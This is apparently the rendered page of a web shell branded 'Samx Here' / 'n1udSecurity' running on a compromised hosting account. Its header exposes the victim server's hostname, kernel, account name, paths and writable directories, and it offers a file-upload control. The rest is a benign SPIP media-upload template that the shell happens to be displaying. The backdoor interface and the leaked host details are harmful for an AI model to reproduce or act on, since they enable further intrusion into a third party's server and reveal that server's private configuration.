Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/jobs/plugins-dist/medias/formulaires/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/jobs/plugins-dist/medias/formulaires/inc-upload_document.html
#SET{domid,_#ENV{mode}|concat{'_',#ENV{id,new}}}

[(#REM) On récupère la liste des méthodes disponibles ]
#SET{methodes_upload,#ENV**|medias_lister_methodes_upload}

[(#REM) On ouvre par défaut sur la première méthode de la liste ]
#SET{methode, #GET{methodes_upload}|key}

[(#REM) Veut-on forcer l'ouverture sur une méthode précise ? ]
[(#ENV{joindre_mediatheque}|oui)#SET{methode_focus,mediatheque}]
[(#ENV{joindre_distant}|oui)#SET{methode_focus,distant}]
[(#ENV{joindre_ftp}|oui)#SET{methode_focus,ftp}]
[(#ENV{methode_focus}|oui)#SET{methode_focus, #ENV{methode_focus}}]

[(#GET{methode_focus}|et{#GET{methodes_upload}|is_array}|et{#GET{methode_focus}|array_key_exists{#GET{methodes_upload}}}|oui)#SET{methode,#GET{methode_focus}}]

<div id="defaultsubmit#GET{domid}" class="none"></div>
<BOUCLE_methodes(DATA){source tableau,#GET{methodes_upload}}>
	#SET{methode_upload,#CLE}
	<div class='joindre_mode#GET{domid}[(#GET{methode}|=={#CLE}|non)none-js]' id='joindre_#CLE#GET{domid}'>

		<INCLURE{fond=formulaires/methodes_upload/#CLE,env,domid=#GET{domid}} />

		[(#GET{methodes_upload}|count|>{1}|oui)
		<div class='sourceup'>
			<:medias:bouton_download_depuis:>
			<BOUCLE_methodes_liens(DATA){source tableau,#GET{methodes_upload}}{"|"}>
				[(#GET{methode_upload}|=={#CLE}|oui)
					#VALEUR{label_lien}
				]
				[(#GET{methode_upload}|=={#CLE}|non)
					<a href='#' onclick="change_methode('#GET{domid}','#CLE');return false;">#VALEUR{label_lien}</a>
				]
			</BOUCLE_methodes_liens>
		</div>
		]
		<p class='boutons'><input class='btn submit' type="submit" name="joindre_#CLE" value="#VALEUR{label_bouton}"/></p>
	</div>
</BOUCLE_methodes>

[(#REM) Formulaire pour deballer un zip]
[<div class="editer-groupe"><div class='fieldset deballer_zip'>(#ENV**{erreurs/lister_contenu_archive})</div></div>]

<script>
if (window.jQuery){
function change_methode(domid,methode){
	var id = "#joindre_"+methode+domid;
	if (jQuery(id).is(':hidden')) {
		jQuery('div.joindre_mode'+domid+':visible').slideUp('fast');
		jQuery(id).slideDown('fast');
	}
	// placer en haut du formulaire les boutons submit par defaut correspondant a la methode active
	jQuery("#defaultsubmit"+domid).html('').append(jQuery(id).find('.boutons').eq(-1).find('input').clone(true));
	var joindre = jQuery(id).find('.boutons').eq(-1).find('input').prop('name').replace('joindre_', '');
	jQuery("#defaultsubmit"+domid).append($('<input>').attr({type: 'hidden', id: 'methode_focus', name: 'methode_focus', value: joindre}));
}
jQuery(function(){change_methode('#GET{domid}','#GET{methode}');});
}
</script>

SAMX